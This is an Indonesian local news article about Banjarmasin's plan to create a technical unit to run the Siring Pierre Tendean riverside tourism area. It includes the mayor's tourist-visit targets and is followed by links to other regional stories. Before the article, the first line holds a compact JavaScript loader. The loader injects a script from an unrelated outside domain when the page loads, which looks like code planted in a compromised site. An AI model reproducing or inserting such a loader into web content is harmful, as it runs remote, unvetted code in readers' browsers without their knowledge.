(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Unit Pelaksana Teknis (UPT) untuk mengelola kawasan wisata Siring Sungai Martapura di Jalan Pierre Tendean, akan dibentuk oleh Pemko Banjarmasin. Pembentukan UPT untuk menjadikan Siring Pierre Tendean sebagai kawasan wisata dengan pengelolaan profesional.
Walikota Banjarmasin Ibnu Sina mengatakan, dalam waktu dekat dibentuk UPT agar pengelolaan Siring Pierre Tendean bisa dioptimalkan. Menurutnya, kawasan publik ini aset terbesar pariwisata milik Pemko Banjarmasin.
Ada beberapa persoalan pada kawasan Siring Piere Tendean seperti menjamurnya pedagang kaki lima yang jumlahnya mencapai ratusan dan parkir. Menurut Ibnu ,aneka persoalan ini perlu mendapat penataan dan pengelolaan oleh UPT nantinya.
Ibnu berkata rencana pembentukan UPT merespons masukan dari para pengamat dan masyarakat. “Agar pemerintah meningkatkan pengelolaan terhadap kawasan wisata Siring Piere Tendean. Sehingga satu hal yang bisa kami tarik kesimpulan yakni Siring Piere Tendean harus dibuatkan UPT sebagai pengelola khusus dan mandiri,” ucap Ibnu Sina.
Usulan pembentukan UPT segera dibawa ke DPRD Banjarmasin untuk penyusunan perda sebagai acuan hukum. Apalagi pihak pemko sudah menyelesaikan pula perda retribusi tentang pemakaian aset daerah dan juga objek pariwisata. Sehingga menurut Ibnu Sina sudah saatnya pariwisata di Banjarmasin menghasilkan pendapatan asli daerah (PAD).
PAD yang didapat dari sektor wisata nantinya menjadi tolak ukur sejauh mana peningkatan kunjungan wisatawan ke Banjarmasin dari tahun ke tahun, baik wisatawan lokal maupun mancanegara. Menurut dia, Dinas Pariwisata Banjarmasin menargetkan penambahan kunjungan wisatawan nusantara, dari 600 ribu orang pada 2018, menjadi 750 ribu orang pada 2019.
“Kemudian wisatawan mancanegara dari yang tadinya 3.000 orang, ditarget tahun ini 5.000 orang berkunjung dan berwisata di Kota Banjarmasin,” bebernya.
Ibnu mengklaim kota Banjarmasin punya keunggulan pariwisata sungai yang tak banyak dimiliki daerah lain di Indonesia. Walaupun tak sebesar Bali dan Lombok, ia patut bangga Banjarmasin punya keunggulan wisata sungai. (mario)
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) tegaskan komitmen meningkatkan kualitas sumber daya… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More
KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More
This website uses cookies.